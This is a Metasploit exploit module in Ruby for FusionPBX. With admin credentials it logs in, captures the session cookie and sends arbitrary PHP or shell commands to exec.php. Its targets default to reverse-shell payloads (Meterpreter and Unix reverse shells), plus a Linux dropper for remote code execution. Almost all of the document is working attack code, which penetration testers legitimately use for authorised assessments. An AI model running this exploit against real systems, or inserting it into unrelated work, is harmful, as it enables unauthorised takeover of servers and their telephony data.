##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'FusionPBX Command exec.php Command Execution',
      'Description'     => %q{
        This module uses administrative functionality available in FusionPBX
        to gain a shell.

        The Command section of the application permits users with `exec_view`
        permissions, or superadmin permissions, to execute arbitrary system
        commands, or arbitrary PHP code, as the web server user.

        This module has been tested successfully on FusionPBX version
        4.4.1 on Ubuntu 19.04 (x64).
      },
      'License'         => MSF_LICENSE,
      'Author'          => ['bcoles'],
      'References'      =>
        [
          ['URL', 'https://docs.fusionpbx.com/en/latest/advanced/command.html']
        ],
      'Platform'        => %w[php linux unix],
      'Arch'            => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
      'Targets'         =>
        [
          ['Automatic (PHP In-Memory)',
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'},
            'Type'           => :php_memory
          ],
          ['Automatic (Unix In-Memory)',
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
            'Type'           => :unix_memory
          ],
          ['Automatic (Linux Dropper)',
            'Platform'       => 'linux',
            'Arch'           => [ARCH_X86, ARCH_X64],
            'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
            'Type'           => :linux_dropper
          ]
        ],
      'Privileged'      => false,
      'DefaultOptions'  => { 'SSL' => true, 'RPORT' => 443 },
      'DisclosureDate'  => '2019-11-02',
      'DefaultTarget'   => 0))
    register_options [
      OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),
      OptString.new('USERNAME', [true, 'The username for FusionPBX', 'admin']),
      OptString.new('PASSWORD', [true, 'The password for FusionPBX'])
    ]
  end

  def login(user, pass)
    vprint_status "Authenticating as user '#{user}'"

    vars_post = {
      username: user,
      password: pass,
      path: ''
    }

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),
      'vars_post' => vars_post
    })

    unless res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    if res.code == 302 && res.headers['location'].include?('login.php')
      fail_with Failure::NoAccess, "Login failed for user '#{user}'"
    end

    unless res.code == 200
      fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
    end

    cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first

    unless cookie
      fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'
    end

    print_good "Authenticated as user '#{user}'"

    cookie
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.body.include?('FusionPBX')
      return CheckCode::Detected
    end

    CheckCode::Safe
  end

  def execute_command(cmd, opts = {})
    vars_post = {
      handler: 'php',
      table_name: '',
      sql_type: '',
      id: '',
      cmd: cmd
    }

    case opts[:handler]
    when 'php'
      vars_post[:handler] = 'php'
    when 'shell'
      vars_post[:handler] = 'shell'
    when 'switch'
      vars_post[:handler] = 'switch'
      vars_post[:cmd] = "bg_system #{cmd}"
    else
      vars_post[:handler] = 'shell'
    end

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'app/exec/exec.php'),
      'cookie'    => "PHPSESSID=#{@cookie}",
      'vars_post' => vars_post
    }, 5)

    unless res
      return if session_created?
      fail_with Failure::Unreachable, 'Connection failed'
    end

    unless res.code == 200
      fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
    end

    if res.body.include? 'access denied'
      fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to execute #{vars_post[:handler]} #{vars_post[:handler].eql?('php') ? 'code' : 'commands'}"
    end

    res
  end

  def exploit
    unless check == CheckCode::Detected
      fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
    end

    @cookie = login(datastore['USERNAME'], datastore['PASSWORD'])

    print_status "Sending payload (#{payload.encoded.length} bytes) ..."

    case target['Type']
    when :php_memory
      execute_command(payload.encoded, handler: 'php')
    when :unix_memory
      execute_command(payload.encoded, handler: 'shell')
    when :linux_dropper
      execute_cmdstager(:linemax => 1_500, handler: 'shell')
    end
  end
end
